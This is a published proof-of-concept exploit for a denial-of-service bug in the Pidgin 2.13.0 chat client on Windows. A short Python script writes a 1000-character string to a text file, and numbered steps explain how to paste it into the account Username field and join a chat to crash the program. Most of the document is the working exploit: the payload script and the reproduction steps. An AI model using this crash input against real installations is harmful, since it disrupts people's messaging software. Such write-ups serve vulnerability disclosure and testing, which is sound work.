Pidgin 2.13.0 Denial Of Service

`# -*- coding: utf-8 -*-  
# Exploit Title: Pidgin 2.13.0 - Denial of Service (PoC)  
# Date: 24/05/2019  
# Author: Alejandra Sánchez  
# Vendor Homepage: https://pidgin.im/  
# Software https://cfhcable.dl.sourceforge.net/project/pidgin/Pidgin/2.13.0/pidgin-2.13.0.exe  
# Version: 2.13.0  
# Tested on: Windows 7, Windows 10  
  
# Proof of Concept:  
# 1.- Run the python script 'pidgin.py', it will create a new file 'pidgin.txt'  
# 2.- Open Pidgin  
# 3.- Go to 'Accounts' > 'Manage Accounts'  
# 4.- Click 'Add...', paste the content of pidgin.txt into the field 'Username',   
# into the field 'Password' write anything, e.g. 1234 and click 'Add'  
# 5.- On the taskbar, click show hidden icons, right click on Pingin and select 'Join Chat...'  
# 6.- Now click 'Join' and crashed  
  
buffer = "\x41" * 1000  
  
f = open ("pidgin.txt", "w")  
f.write(buffer)  
f.close()  
`